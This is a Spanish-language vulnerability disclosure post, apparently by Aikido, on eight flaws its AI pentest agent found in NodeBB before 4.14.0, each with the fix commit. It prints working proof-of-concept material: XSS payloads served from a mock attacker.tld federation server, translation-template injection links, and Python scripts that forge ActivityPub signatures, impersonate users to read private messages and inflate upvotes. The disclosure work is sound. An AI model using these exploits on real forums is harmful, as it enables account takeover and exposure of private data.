TL;DR
- Las versiones de NodeBB anteriores a la 4.14.0 contienen múltiples vulnerabilidades de alta gravedad
- Actualice a versiones más recientes para resolver las vulnerabilidades
- Aikido marcará automáticamente las instancias vulnerables
Mientras mejorábamos nuestro AI Pentest, realizamos una evaluación de caja blanca en NodeBB, un software de foro impulsado por NodeJS. ¿El resultado? Ocho vulnerabilidades de alta gravedad que serían explotables en instancias predeterminadas de NodeBB. Esto incluye cross-site scripting (XSS), dos de las cuales requieren interacción con un servidor de Federación personalizado que el agente de IA tuvo que configurar por sí mismo. Otra afecta prácticamente a cada entrada en NodeBB debido a una inyección de plantilla.
Aparte de estos problemas, hubo ingeniosos bypasses de autorización para secuestrar y leer varios datos que no deberían ser públicos. Hemos explicado todos los detalles técnicos interesantes a continuación.
Algo interesante de estos pentests autónomos es que completan sus pruebas en solo unas pocas horas. Los agentes idearon ideas, rastrearon el código y realizaron pruebas rigurosas con la aplicación real para informar hallazgos genuinos. Los pentests dirigidos por humanos a menudo tardan mucho más, ya que no pueden multiplicar sus esfuerzos con la misma facilidad.
Después de descubrir las vulnerabilidades, enviamos rápidamente un informe a los mantenedores de NodeBB, quienes respondieron muy rápidamente y comenzaron a trabajar de inmediato en las correcciones. Los problemas se solucionaron a principios de julio.
Entraremos en los detalles técnicos de las vulnerabilidades, empezando con algunos XSS.
Cross-site scripting en el icono de perfil del servidor de Federación personalizado
Esto está lejos de ser una simple inyección XSS Reflejada estándar, que requiere la configuración de un servidor personalizado completo para responder con una carga útil XSS maliciosa. No obstante, los modelos de agente que utilizamos son excelentes programando, por lo que analizan la indirección con facilidad y programan servidores personalizados para probar cualquier tipo de hallazgo.
Todo comienza con helpers.common.js, que contiene una gran cantidad de concatenaciones HTML que levantan banderas rojas. En la que nos centraremos es:
function buildMetaTag(tag) {
const name = tag.name ? 'name="' + tag.name + '" ' : '';
const property = tag.property ? 'property="' + tag.property + '" ' : '';
const content = tag.content ? 'content="' + tag.content.replace(/\n/g, ' ') + '" ' : '';
return '<meta ' + name + property + content + '/>\n\t';
}En las header.tpl, cada metaTags elemento se renderiza utilizando la función anterior:
{{{each metaTags}}}{function.buildMetaTag}{{{end}}}
Los datos del usuario se pasan a res.locals directamente aquí:
if (userData.picture) {
res.locals.metaTags.push(
{
property: 'og:image',
content: userData.picture,
noEscape: true,
},
{
property: 'og:image:url',
content: userData.picture,
noEscape: true,
}
);
}Mientras que otras propiedades como userData.fullname están pre-escapadas al convertir " caracteres en ", la otra propiedad userData.picture no lo está (ver accounts/helpers.js). .picture es un archivo subido por el usuario que normalmente apunta a una cadena segura como:/assets/uploads/profile/uid-3/3-profileavatar-1779885231799.png
Así que, incluso si este valor no está correctamente escapado como el fullname, ¿cómo lo controlamos para entregar una cadena maliciosa que contenga ">?
El truco es que esta URL se puede establecer arbitrariamente cuando se trata de perfiles federados. El concepto de federación aquí es interactuar con una red descentralizada de otras instancias que tienen sus propios usuarios y temas. Los datos se copian prácticamente 1:1, así que si podemos devolver datos maliciosos con una URL que escape la sintaxis HTML entrecomillada, lo habremos logrado.
Tendremos que crear un servidor de federación personalizado que responda a /.well-known/webfinger con una referencia al usuario XSS, y luego devolver nuestra carga útil XSS como el icon.url allí:
/.well-known/webfinger?resource=acct:xss@attacker.tld:
{
"links": [
{
"href": "https://attacker.tld/ap/actor/xss",
"rel": "self",
"type": "application/activity+json"
}
],
"subject": "acct:xss@attacker.tld"
}/ap/actor/xss:
{
"@context": [
"https://www.w3.org/ns/activitystreams",
"https://w3id.org/security/v1"
],
"icon": {
"mediaType": "image/jpeg",
"type": "Image",
"url": "\"><img src onerror=\"alert(origin)\">"
},
"id": "https://attacker.tld/ap/actor/xss",
"inbox": "https://attacker.tld/ap/inbox/xss",
"preferredUsername": "xss",
"publicKey": {
"id": "https://attacker.tld/ap/actor/xss#main-key",
"owner": "https://attacker.tld/ap/actor/xss",
"publicKeyPem": "dummy"
},
"type": "Person"
}Con este servidor escuchando en attacker.tld, todo lo que una víctima tiene que hacer es buscar un usuario en el dominio malicioso o visitar un enlace directamente a él:
https://nodebb.local/user/xss@attacker.tld
El backend recupera attacker.tld el xss usuario en /.well-known/webfinger, que hace referencia a /ap/actor/xss. Esto se recupera, devolviendo la carga útil XSS, que se renderiza directamente en la <meta> etiqueta. Con la "><img> carga útil, permite escapar del HTML y desencadenar una alert(origin) ventana emergente con JavaScript:

Este problema ha sido solucionado (4c4bf76) escapando también la información de las fuentes federadas.
Cross-Site Scripting en la vista de administrador de Errores de Federación
Continuaremos con la tendencia de Federación, ya que se encontró otra vulnerabilidad XSS en el registro de errores para los administradores. Es importante destacar que, si bien solo los administradores pueden ver estos registros, cualquier atacante no autenticado puede almacenar la carga útil. Explotar esta vulnerabilidad requirió una configuración de atacante aún más compleja que la XSS anterior, pero los agentes aún así lo resolvieron.
El sumidero es simple. Dentro de errors.tpl, la {./id} la variable se incrusta en el HTML.
<code>{./id}</code>
Aunque no es un problema para la mayoría de las configuraciones de plantillas, en NodeBB, la funcionalidad de autoescape para Benchpress está explícitamente deshabilitada aquí al reemplazarla con una función de identidad:
__escape: identity,
};
function identity(str) {
return str;
}NodeBB depende del escape manual de las variables pasadas a las plantillas. Uno de los puntos donde esto se omite es el id de los Errores de Federación. ¿Y cómo desencadenamos tal error, se preguntará? Escribimos otro servidor de federación personalizado, por supuesto, pero esta vez un poco defectuoso.
Primero configuraremos un servidor como antes, pero, y lo que es más importante, generaremos y serviremos una clave pública para firmar mensajes.
/actor:
{
"@context": "https://www.w3.org/ns/activitystreams",
"id": "https://attacker.tld/actor",
"type": "Person",
"preferredUsername": "evil",
"inbox": "https://attacker.tld/inbox",
"publicKey": {
"id": "https://attacker.tld/actor#main-key",
"owner": "https://attacker.tld/actor",
"publicKeyPem": "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2uT/87NAfA4Al+I28ddA\nGT6Uf0FbilviOOR/BDnL44MU03Dfpf8UJCCX4MiJ1nqRNfpytFZWaCLOCPWf5N2S\nbu/o7ThDUUBlXPIa3z/p/xgyKFDyRVIQBrD43fnJwmsZd213NVqd00Nca3nsZ1He\n94yCUV61rrr8wEprnaGV9NLY6shTFO1PJub22QiadLB6hSPaJJ3C8volUZICWFT+\nGnNnIzi1LqG/x2MPvFBVHNY/HKNDp2NCHjZq/9V+kteygihepqw5BjHwC1kvIhGJ\nhPGKc3tguUBdpaba5cv2Uso6glwTqAUq3XYSBq49O7vShPoncK5Yb0LZ593YtV/A\n2wIDAQAB\n-----END PUBLIC KEY-----\n"
}
}Luego añadimos un /.well-known/webfinger endpoint como antes, que devuelve cualquier cuenta:
/.well-known/webfinger?resource=acct%3Aevil%40attacker.tld:
{
"subject": "acct:evil@attacker.tld",
"links": [
{
"rel": "self",
"type": "application/activity+json",
"href": "https://attacker.tld/actor"
}
]
}Ahora que tenemos un servidor en attacker.tld con una clave que conocemos, podemos enviar actualizaciones de NodeBB a través de la /inbox ruta. Cada tipo que enviamos es gestionado por una función específica en inbox.js. El middleware verifica una firma utilizando ActivityPub.verify, que esencialmente toma un conjunto de atributos de la solicitud y verifica que estén firmados por la clave pública del servidor de federación. Hemos creado nuestro propio servidor, así que esa parte es fácil ahora.
Para provocar un error, podemos tomar el primero en inbox.update:
inbox.update = async (req) => {
const { actor, object } = req.body;
const isPublic = publiclyAddressed([...(object.to || []), ...(object.cc || [])]);
// Origin checking
const actorHostname = new URL(actor).hostname;
const objectHostname = new URL(object.id).hostname;
if (actorHostname !== objectHostname) {
throw new Error('[[error:activitypub.origin-mismatch]]');
}[[error:activitypub.origin-mismatch]] ocurre cuando el actor y object.id de nuestra solicitud no coinciden. Podemos falsificarlo fácilmente.
Es importante destacar que el id que proporcionamos se almacenará con el error y, como hemos aprendido, se muestra de forma insegura como HTML en el Panel de Administración. Por lo tanto, lo estableceremos como una carga XSS como <img src onerror=alert(origin)>.
El script final tiene este aspecto:
# Craft payload
payload = {
'@context': 'https://www.w3.org/ns/activitystreams',
'id': '<img src onerror=alert(origin)>',
'type': 'Update',
'actor': f'https://attacker.tld/actor',
'object': {
# Different origin than actor to trigger an error path
'id': 'https://nodebb.local/post/1',
'type': 'Note'
},
'to': ['https://www.w3.org/ns/activitystreams#Public']
}
# Build signature
key_id = f'https://attacker.tld/actor#main-key'
inbox_url = 'https://nodebb.local/inbox'
u = urlparse(inbox_url)
date = datetime.now(timezone.utc).strftime('%a, %d %b %Y %H:%M:%S GMT')
signed = f'(request-target): post {u.path}\nhost: {u.netloc}\ndate: {date}'
sig = base64.b64encode(priv.sign(signed.encode(), padding.PKCS1v15(), hashes.SHA256())).decode()
headers = {
'Host': u.netloc,
'Date': date,
'Signature': f'keyId="{key_id}",headers="(request-target) host date",signature="{sig}",algorithm="hs2019"',
'Accept': 'application/activity+json',
'Content-Type': 'application/ld+json;profile="https://www.w3.org/ns/activitystreams"',
}
# Send request
r = requests.post(inbox_url, headers=headers, data=json.dumps(payload), timeout=30, verify=False)
print('Status:', r.status_code)
print(r.text[:200])Después de enviar esta carga, debería obtener el servidor personalizado del atacante para verificar la firma, y luego el actor referenciado. Debido a que los orígenes de actor y object.id en la carga difieren, se lanza un error y se crea una entrada en la página de Errores de Federación del Panel de Administración.
Cuando un administrador visita ahora esta página para comprobar si hay errores, se encuentra con un cuadro de alerta de JavaScript, porque nuestra maliciosa <img> etiqueta fue interpretada como HTML real entre el <code>:

Desde aquí, un atacante puede tomar el control de toda la instancia de NodeBB, porque JavaScript puede hacer que un administrador haga cualquier cosa.
Este problema se ha solucionado (16bda6b) escapando todos los campos mostrados en los Errores de Federación.
Cross-Site Scripting mediante inyección de plantilla de traducción
La última vulnerabilidad XSS encontrada fue otra interesante. Tiene que ver con cómo se renderizan las plantillas. Para devolver un cuerpo, NodeBB esencialmente sigue estos dos pasos (definidos en render.js):
- Renderizar plantilla Benchpress con variables de entrada (sintaxis:
{...}) - Interpretar claves de traducción (sintaxis:
[[...]])
function renderContent(render, tpl, req, res, options) {
return new Promise((resolve, reject) => {
render.call(res, tpl, options, async (err, str) => {
if (err) reject(err);
else resolve(await translate(str, getLang(req, res)));
});
});
}
Ya hemos visto lo que puede salir mal con Benchpress en la vulnerabilidad anterior. Ahora nos centraremos en la translate() función, que, de forma crucial, ocurre después de que nuestra entrada se renderiza en la plantilla.
La vulnerabilidad ya comienza aquí. Debido a que nuestra entrada ya ha llegado a str para cuando se ejecutan las traducciones sobre ella, si podemos escribir la misma [[...]] sintaxis, sería interpretada. [ o ] no son tratados como caracteres especiales por escapeCharMap dentro de utils.common.js, solo &<>"'`= sí lo son.
De hecho, cada página refleja la URL en un <meta property="og:url"> propiedad. Podemos inyectar una clave de traducción en esta misma propiedad para ver el resultado. Las claves de traducción se almacenan por espacio de nombres, por ejemplo, topic.json contiene "flag-user": "Marcar este usuario". Si hacemos referencia a eso:
https://nodebb.local/test[[topic:flag-user]]
<meta property="og:url" content="https://nodebb.local/testFlag this user" />
Se interpretó correctamente. Algunos mensajes son más complejos y contienen marcadores de posición con %1 y %2, que podemos controlar mediante argumentos separados por comas. Por ejemplo:
"merged-message": "This topic has been merged into <a href=\"%1\">%2</a>"
Algo interesante está a punto de ocurrir porque la traducción contiene " (para definir el href) content= atributo, utilizando también comillas dobles para contener su valor.
https://nodebb.local/test[[topic:merged-message,A,B]]
<meta property="og:url" content="https://nodebb.local/testThis topic has been merged into <a href="A">B</a>" />
Por el resaltado de sintaxis, se puede ver que lo que solía ser la comilla de apertura para href=, es ahora la comilla de cierre para content=. Eso significa que, a partir de nuestro A, estamos en un contexto de definición de atributo y podemos añadir cualquier atributo a esta etiqueta!
Sin embargo, si simplemente reemplazamos A con onerror=alert(), vemos un panorama desolador:
<meta property="og:url" content="https://nodebb.local/testThis topic has been merged into <a href="onerror=alert()">B</a>" />Aunque el atributo parece ser transmitido, el signo igual (=) se ha convertido en =. ¿Recuerdas? En escapeCharMap, el signo igual se considera un carácter especial y siempre se escapa en HTML en la salida. Por lo tanto, no podemos añadir valores a los atributos para convertir esta inyección en XSS.
Sin embargo, no todo está perdido, ya que la plantilla que utilizamos, merged-message, coloca nuestro primer parámetro (A) directamente en el href= de esta <a> etiqueta. Utilizando una javascript: URI, todavía es posible ejecutar JavaScript arbitrario al hacer clic. Solo tenemos que hacerlo después de nuestro primer escape del atributo añadiendo otra etiqueta de plantilla:
https://nodebb.local/test[[topic:merged-message,A,B]][[topic:merged-message,javascript:alert(origin),CLICK%20ME]]
<meta property="og:url" content="http://4.245.3.4:4567/testThis topic has been merged into <a href="A">B</a>This topic has been merged into <a href="alert(origin)">CLICK%20ME</a>" />Visualmente, ahora hay un encabezado en la página con el texto CLICK%20ME. Al hacer clic, el JavaScript se ejecuta y alert(origin) se muestra:

Acabamos de probar la PoC en la reflexión más fácil de testear, la propia URL. Pero esto funciona en cualquier salida generada por NodeBB. En la URL, estamos limitados a caracteres codificados en URL como %20. En el endpoint solo para administradores /flags?quick= endpoint, el valor de quick también se refleja, ¡pero está decodificado por URL!
Para finalizar la PoC, podemos hacerla más realista utilizando emojis para que parezcan iconos oficiales, pidiendo al usuario que actualice con un mensaje de "⚠️ Actualización requerida":
https://nodebb.local/flags?quick=]][[topic:merged-message,javascript:alert(origin),%E2%9A%A0%EF%B8%8FUpdate%20required
<span class="filter-label">filter-quick-This topic has been merged into <a href="javascript:alert(origin)">⚠️Update required</a></span>

De nuevo, al hacer clic en el botón se activaría JavaScript arbitrario. Esta fue la prueba de concepto inicial que el agente utilizó para informar del problema.
El payload incluso puede almacenarse dentro de publicaciones en NodeBB, lo que facilita su compartición con otros usuarios. El problema subyacente es que todo el contenido renderizado pasa por una fase de traducción donde la entrada del usuario puede escribir la misma sintaxis.
Solucionar este problema fue más complicado. Como hemos visto, es más un problema de diseño que un error específico en algún lugar. Porque las traducciones siempre ocurren después del renderizado de la plantilla, y los caracteres de traducción están permitidos en la plantilla.
La solución ingenua sería escapar en HTML los [ y ] caracteres para asegurar que no se interpreten como traducciones. Pero resulta que algunas características/plugins realmente Requerir necesitan poder renderizar secuencias de traducción desde variables de plantilla. Esto sería un cambio disruptivo.
Para la solución inicial, NodeBB intentó escapar manualmente cada lugar donde se refleja la entrada del usuario con translator.escape(). Sin embargo, esto no está completo, así que dedicaron mucho trabajo a refactorizar el sistema de traducción para que pueda ser auto-escapado, y corregir características/plugins para manejar el cambio disruptivo correctamente. Esto ya está implementado en la versión 4.14.0.
Como defensa adicional, el HTML que sale de las funciones del traductor también se sanitiza ahora, de modo que incluso si un atacante controla el texto, no pueden escribir javascript: hrefs.
Eludiendo el middleware de autorización de administrador usando una página de inicio personalizada
Este es uno simple pero ingenioso. Si examinamos el middleware de NodeBB, encontramos este fragmento responsable de manejar la autorización a /admin rutas dentro de middleware/admin.js:
middleware.checkPrivileges = helpers.try(async (req, res, next) => {
// Kick out guests, obviously
if (req.uid <= 0) {
return controllers.helpers.notAllowed(req, res);
}
// Otherwise, check for privilege based on page (if not in mapping, deny access)
const path = req.path.replace(/^(\/api)?(\/v3)?\/admin\/?/g, '');
if (path) {
const privilege = privileges.admin.resolve(path);
if (!await privileges.admin.can(privilege, req.uid)) {
return controllers.helpers.notAllowed(req, res);
}
} else {
// If accessing /admin, check for any valid admin privs
const privilegeSet = await privileges.admin.get(req.uid);
if (!Object.values(privilegeSet).some(Boolean)) {
return controllers.helpers.notAllowed(req, res);
}
}Todo parece correcto en una inspección inicial. Si privileged.admin.get() no devuelve nada, no se le permite el acceso. La parte crucial es que este middleware está registrado para la /admin ruta antes de que maneja las reescrituras de la página de inicio personalizada en routes/index.js:
router.all(`(/+api/admin|/+api/admin/*?${mounts.admin !== 'admin' ? `|/+api/${mounts.admin}|/+api/${mounts.admin}/*?` : ''})`, middleware.authenticateRequest, middleware.ensureLoggedIn, middleware.admin.checkPrivileges);
router.all(`(/+admin|/+admin/*?${mounts.admin !== 'admin' ? `|/+${mounts.admin}|/+${mounts.admin}/*?` : ''})`, middleware.ensureLoggedIn, middleware.applyCSRF, middleware.admin.checkPrivileges);
// handle custom homepage routes
router.use('/', controllers.home.rewrite);Cualquier usuario puede configurar su página de inicio para que se reescriba a otra URL como una característica. Esto se implementa mediante otro middleware que se activa en /. req.url para reflejar el valor configurado:
async function rewrite(req, res, next) { if (req.path !== '/' && req.path !== '/api/' && req.path !== '/api') {
return next();
}
...
route = await getUserHomeRoute(req.uid, next); parsedUrl = new URL(route, 'http://localhost.com'); const pathname = parsedUrl.pathname.replace(/^\/+/, ''); req.url = req.path + (!req.path.endsWith('/') ? '/' : '') + pathname; ... next(); se llama para continuar buscando la ruta real, pero esto ahora es después de las comprobaciones de la ruta de administrador ya se han realizado.
next()
Esto significa que si configuras tu página de inicio personalizada a /admin, verás el panel de control de administrador, incluso como un miembro normal. No es necesario acceso de administrador.
Lo único que nos "bloquea" es código del lado del cliente que obtiene el valor configurado cuando intentas guardarlo, antes de enviar realmente la configuración al servidor:
$.get(config.relative_path + '/' + settings.homePageCustom, function () {
saveSettings(settings);
}).fail(function () {
alerts.error('[[error:invalid-home-page-route]]');
});Esta comprobación se elude fácilmente enviando directamente una PUT /api/v3/users/:id/settings solicitud o utilizando un punto de interrupción en el navegador para omitir la comprobación y llamar a saveSettings() directamente.
Después de configurarlo a admin/advanced/cache, por ejemplo, podemos recargar la / página y ver un montón de información interna destinada a los administradores:

Incluso las APIs son accesibles a través de /api/admin, sin embargo, la mayoría de las APIs para realmente editar datos pasan por /api/v3/admin. Estas son las rutas de "escritura" y tienen comprobaciones de privilegios adicionales dentro del manejador de cada ruta. Por lo tanto, no son vulnerables a este ataque.
Aun así, resulta en una exposición/modificación significativa de datos:
GET /api/admin/users/csv: Obtener la exportación CSV de todos los usuarios si existe. Las columnas dependen de lo que el último administrador eligió exportar.GET /api/admin/advanced/errors: Leer todos los registros de erroresPOST /api/admin/manage/categories: Añadir categoría remota a la lista de la barra lateralPOST /api/admin/uploadlogo: Actualizar el logo del sitio
Este problema se ha solucionado (9885f94) reordenando el middleware para ejecutar las comprobaciones de permisos después de la reescritura.
Suplantación de ID de usuario para leer mensajes privados
Para comunicarse con otras redes sociales, NodeBB implementa ActivityPub, que es un protocolo para compartir usuarios/contenido entre instancias. Esto se hace criptográficamente seguro al otorgar a cada usuario una clave pública con la que pueden firmar acciones. En las solicitudes, se añade una Firma: cabecera con atributos como keyId y signature.
El ActivityPub.verify función valida estos correctamente:
ActivityPub.verify = async (req) => {
...
let { keyId, headers, signature, algorithm, created, expires } = req.headers.signature.split(',').reduce((memo, cur) => {
const split = cur.split('="');
const key = split.shift();
const value = split.join('="');
memo[key] = value.slice(0, -1);
return memo;
}, {});
const signed_string = headers.split(' ').reduce((memo, cur) => {
... }, []).join('\n');
const publicKeyPem = await ActivityPub.fetchPublicKey(keyId);
return await verifyAsync('sha256', Buffer.from(signed_string), publicKeyPem, Buffer.from(signature, 'base64'));
Si observamos dónde se utiliza esta función, vemos su ubicación únicamente en el activitypub.js middleware aquí:
middleware.verify = async function (req, res, next) {
// Verifies the HTTP Signature if present (required for POST)
const passthrough = [/\/actor/, /\/uid\/\d+/];
if (req.method === 'GET' && passthrough.some(regex => regex.test(req.path))) {
return next();
}
if (req.method === 'POST') {
const verified = await activitypub.verify(req); if (!verified) {
return res.sendStatus(400);
}
}
if (req.headers.signature) {
const keyId = req.headers.signature.split(',').filter(line => line.startsWith('keyId="'));
if (keyId.length) {
req.uid = keyId.shift().slice(7, -1).replace(/#.*$/, '');Curiosamente, solo se ejecuta activitypub.verify(req) si el req.method === 'POST'¡Las solicitudes GET no tienen su firma verificada por alguna razón. ¿Qué endpoints podemos alcanzar con esto?
En realidad, solo hay un endpoint que utiliza req.uid para la autenticación, y ese es GET /message/:mid. En middleware/assert.js leemos:
!(await messaging.canViewMessage(req.params.mid, roomId || req.params.roomId, req.uid))
Este endpoint recupera mensajes privados de req.params.mid:
Actors.message = async function (req, res) {
...
const messageObj = await messaging.getMessageFields(req.params.mid, []);
messageObj.content = await messaging.parse(messageObj.content, messageObj.fromuid, 0, messageObj.roomId, false);
const payload = await activitypub.mocks.notes.private({ messageObj });
res.status(200).json(payload);
};Ahora tenemos el panorama completo. El Firma: header solo se verifica para solicitudes POST, por lo que el GET /message/:mid endpoint no verifica el keyId= atributo. Con él, podemos suplantar a cualquiera y filtrar los IDs de mensajes incrementales uno por uno para comprometer completamente los chats privados.
# Fetch all users
users = requests.get(f'{HOST}/api/users', timeout=10).json().get('users', [])
users = [(u['uid'], u.get('username', '?')) for u in users]
print(f'Found {len(users)} users')
# Fetch all message IDs for each user
for mid in tqdm(range(1, 80)):
for uid, name in users:
headers = {
'Accept': 'application/activity+json',
'Signature': f'keyId="{uid}"',
}
r = requests.get(f'{HOST}/message/{mid}', headers=headers, timeout=10)
if r.ok:
j = r.json()
content = j.get("content", "")[:80].strip()
tqdm.write(f'Impersonating {name} ({uid}) -> message {mid}: {content}')Este problema se ha solucionado (f6b5cd8) al establecer solo req.uid en una rama de código donde activitypub.verify() ya había verificado el header Signature.
Secuestro de posts con Asignación Masiva de pid
Con todos estos cuerpos JSON, es probable que haya algunos errores de Asignación Masiva, así que eso fue lo que el agente buscó a continuación. Si no estás familiarizado con este tipo de error, se trata de añadir campos internos a tu solicitud para sobrescribirlos sin que la aplicación web lo pretenda.
Esto a menudo ocurre cuando el cuerpo completo de una solicitud se analiza y se inserta en la base de datos. ¿Hay algún patrón similar en esta base de código?
Aquí, en el POST /api/v3/topics, endpoint leemos:
Topics.create = async (req, res) => {
const id = await lockPosting(req, '[[error:already-posting]]');
try {
const payload = await api.topics.create(req, req.body);Hace exactamente lo que buscamos, pasando req.body en topicsAPI.create(). Su implementación llama posteriormente a Posts.create que confía en el/la data.pid:
const pid = data.pid || await db.incrObjectField('global', 'nextPid');
let postData = { pid, uid, tid, content, sourceContent, timestamp };El pid propiedad es el ID de la publicación (Post ID), único para que cualquier publicación pueda ser localizada mediante este número. Tenga en cuenta que esto es ligeramente diferente de un/a topic, ya que un topic puede tener múltiples publicaciones (respuestas) asociadas.
La primera publicación en cualquier NodeBB es siempre un mensaje de "¡Bienvenido a tu NodeBB!" por parte del administrador:

Su ID es siempre 1, y las nuevas publicaciones se incrementan a partir de ahí. ¿Qué pasaría si creáramos un/a new publicación que también tenga pid: 1? ¡Vamos a probarlo!
POST /api/v3/topics HTTP/1.1
Host: nodebb.local
x-csrf-token: 77a...65b
Cookie: express.sid=s%3A...
Content-Length: 133
Content-Type: application/json
{
"title": "title",
"content": "OVERWRITTEN BY ATTACKER",
"cid": 2,
"tags": [],
"thumbs": [],
"timestamp": 0,
"pid": 1
}Volviendo a la publicación de bienvenida:

¡Hemos secuestrado la publicación! Pero el contenido no parece haberse actualizado todavía. Sin embargo, como ahora somos los propietarios, podemos editarlo y guardarlo de nuevo rápidamente para actualizar el contenido:

La URL sigue siendo la misma, y cualquiera que vuelva a esta publicación verá el nuevo contenido del atacante. Combinado con una cuenta similar, esto puede ser muy potente para envenenar parte del contenido, como cambiar comandos maliciosos para copiar en algún tutorial.
Este problema se ha solucionado (7f08fb9) eliminando el/la pid propiedad del cuerpo de la solicitud, por lo que ya no puede sobrescribir el campo interno.
Leer todas las categorías sin autenticación
This might be the easiest vulnerability in this post. It can be summarized as one sentence: "/category/{cid}/outbox is missing authorization when ActivityPub accept header is set".
Es realmente así de simple. La ruta /category/:cid/outbox es gestionada por la siguiente función, que no realiza comprobaciones de autorización, pero devuelve todos los temas de una categoría determinada (incluidos los privados), referenciados por un identificador incremental cid.
Controller.getCategoryOutbox = async (req, res) => {
const { cid } = req.params;
const { page } = req.query;
const set = `cid:${cid}:pids`;
const count = await db.sortedSetCard(set);
const collection = await activitypub.helpers.generateCollection({
set,
count,
page,
perPage: 20,
url: `${nconf.get('url')}/category/${cid}/outbox`,
});
...
res.status(200).json({
'@context': 'https://www.w3.org/ns/activitystreams',
...collection,
});
};
Una simple solicitud GET a /category/2/outbox con una cabecera Accept: application/activity+json para activar ActivityPub devuelve una lista sin filtrar de todas las publicaciones bajo ese ID de Categoría. Aquí hay una categoría privada que creamos a la que solo los administradores tienen acceso:

Sin autenticación, se puede recuperar el siguiente contenido:
{
"@context": "https://www.w3.org/ns/activitystreams",
"type": "OrderedCollection",
"totalItems": 2,
"orderedItems": [
{
"object": {
"object": {
...
"name": "secret content",
"url": "https://nodebb.local/post/2",
"content": "<p>SUPER SECRET CONTENT</p>\n"
}}},
{
"object": {
"object": {
...
"inReplyTo": "http://4.245.3.4:4567/post/2",
"name": "secret content",
"url": "https://nodebb.local/post/3",
"content": "<p>replies too!</p>\n"
}
Este problema se ha solucionado (8e98325) añadiendo una topics:read comprobación de permisos a la ruta outbox.
Inflación de votos positivos por actor no verificado
Este último es más bien divertido, pero podría ser utilizado indebidamente para spam o manipulación. Uno de los agentes encontró una forma de votar positivamente una publicación infinitamente! (Hablando de infinito… Echa un vistazo a Aikido Infinite pentesting continuo! ;) )
Hay 2 formas de votar positivamente una publicación ("Me gusta" en ActivityPub):
- Directamente a través de
/inboxo/uid/:uid/inbox, verificado con el keyId de la firma - Incrustado en un mensaje de "Announce" a través de
/category/:cid/inbox
En un mensaje de este tipo, se proporciona un actor que representa a la persona que realizó la acción. El middleware autoriza a este actor con el keyId, específicamente el req.body.actor campo:
middleware.assertPayload = helpers.try(async function (req, res, next) {
...
let { actor } = req.body;
const { hostname } = new URL(actor);
const allowed = await activitypub.instances.isAllowed(hostname);
await activitypub.actors.assert(actor);
let compare = await db.getObjectsFields([
`userRemote:${actor}:keys`, `categoryRemote:${actor}:keys`,
], ['id']);
compare = compare.reduce(...).replace(/#[\w-]+$/, '');
if (compare !== keyId) {
return res.sendStatus(403);
}Esto funciona muy bien para el primer endpoint, porque su actor propiedad necesita ser verificada. Aquí hay un mensaje de ejemplo:
{
"id": "https://nodebb.local/uid/42#activity/like/3",
"type": "Like",
"actor": "https://nodebb.local/uid/42",
"to": ["https://www.w3.org/ns/activitystreams#Public"],
"cc": ["https://nodebb.local/uid/7"],
"object": "https://nodebb.local/post/3"
}Sin embargo, el formato para un mensaje "Announce" es diferente, el Like's actor está incrustado dentro de un objeto:
{
"id": "https://nodebb.local/post/3#activity/announce/1717234567890",
"type": "Announce",
"actor": "https://nodebb.local/category/1",
"to": ["https://nodebb.local/category/1/followers"],
"cc": [
"https://nodebb.local/uid/42",
"https://www.w3.org/ns/activitystreams#Public"
],
"object": {
"id": "https://nodebb.local/uid/42#activity/like/3",
"type": "Like",
"actor": "https://nodebb.local/uid/42",
"to": ["https://www.w3.org/ns/activitystreams#Public"],
"cc": ["https://nodebb.local/uid/7"],
"object": "https://nodebb.local/post/3"
}
}Dado que ambos utilizan el mismo assertPayload middleware, la segunda forma utilizando el formato "Announce" no se verifica. El actor puede ser cualquier cadena única aleatoria para actuar como un nuevo usuario. Aquí, el Like tipo de objeto se reconoce y utiliza directamente object.actor en posts.upvote():
case object.type === 'Like': {
const id = object.object.id || object.object;
const { id: localId } = await activitypub.helpers.resolveLocalId(id);
const exists = await posts.exists(localId || id);
if (exists) {
try {
await activitypub.actors.assert(object.actor);
const result = await posts.upvote(localId || id, object.actor);Un atacante puede enviar repetidamente solicitudes como esta para aumentar constantemente el número de votos positivos en una publicación, con miles por minuto para inflar completamente la fiabilidad de una publicación.
POST_ID = 1 # Target post
payload = {
'id': str(uuid.uuid4()),
'type': 'Announce',
'actor': 'https://nodebb.local/uid/999',
'object': {
'id': f'https://nodebb.local/object/{uuid.uuid4()}',
'type': 'Like',
'actor': f'https://nodebb.local/fake-{uuid.uuid4()}',
'object': f'https://nodebb.local/post/{POST_ID}'
}
}
headers = {'Content-Type': 'application/activity+json',
'Signature': 'keyId=""'}
r = requests.post('https://nodebb.local/category/1/inbox',
headers=headers, json=payload)
Este problema se ha solucionado (8e98325) verificando siempre la cabecera Signature para las solicitudes POST.
Conclusión
Con el auge de la IA, la velocidad de los pentests está en constante aumento. De repente, puedes contratar a un grupo de 400 pequeños pentesters para que examinen tu aplicación por el precio de un pentest regular. Los desarrolladores pueden seguir lanzando código rápidamente mientras los agentes de pentest de IA se mantienen al día y prueban nuevas funcionalidades en busca de problemas de seguridad, incluso los más pequeños y complejos. En Aikido, ofrecemos AutoFixes y retests sencillos para ayudar a remediar cualquier vulnerabilidad identificada.
NodeBB respondió muy rápidamente a nuestro informe, lo cual agradecimos enormemente. Pidieron aclaraciones sobre algunos puntos y pudimos proporcionar comentarios sobre las correcciones para asegurar que no hubiera bypasses triviales.
Una última conclusión. En este pentest, vimos muchas vulnerabilidades en la implementación de ActivityPub, y creemos que esto se puede generalizar y aplicar a más aplicaciones. Siempre que hay múltiples formas de hacer las cosas, la forma más común o integrada suele estar fuertemente asegurada, mientras que la forma alternativa está plagada de errores. ¡Asegúrate de que todas tus integraciones externas y rutas alternativas sean tan seguras como las principales!
Nuestra herramienta de pentesting de IA lo descubrió por sí sola. Si desea un pentesting rápido y de alta calidad para su aplicación, consulte la suite de pentesting de Aikido.

